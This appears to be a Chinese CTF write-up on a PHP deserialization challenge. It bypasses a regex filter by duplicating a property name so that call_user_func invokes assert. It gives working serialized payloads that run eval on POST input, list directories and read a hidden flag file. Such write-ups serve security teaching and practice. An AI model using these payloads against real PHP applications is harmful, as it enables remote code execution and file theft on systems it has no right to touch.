php逃逸

php逃逸

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$safe="Hack me!";

class Hacker{
public $name="var_dump";
public $msg="Happy to cjb";
public function __wakeup()
{
global $safe;
if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){
$this->name="var_dump";
$this->msg="You look dangerous!!!";
$safe="I think waf is enough.";
}
call_user_func($this->name,$this->msg);
}
public function __destruct()
{
global $safe;
var_dump($safe);
}
}

第一种思路,可以利用shell来绕过,可构造

1
eval($_POST['shell'])&&shell=写命令

来绕过,构造payload就是:

1
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&&shell=show_source("/you_never_know_my_name");

第二种思路

就是在类中写两次相同的属性名,后面的属性值会覆盖前面的属性值(注意:类的属性个数记得加1)

第三种思路

这里过滤了系统执行的函数,而又不知道flag的文件名,因此这里可以用assert绕过,但是这里的正则过滤了括号嵌套,而不用get或post很难进行输出
因此可以利用

1
2
global $safe;
var_dump($safe);

来输出,所以可以构造payload

1
2
3
4
5
6
查看flag文件名
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:57:"$safe=chdir('..').chdir('..').chdir('..')?scandir('.'):''";}

读flag文件
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:85:"$safe=chdir('..').chdir('..').chdir('..').file_get_contents('you_never_know_my_name')";}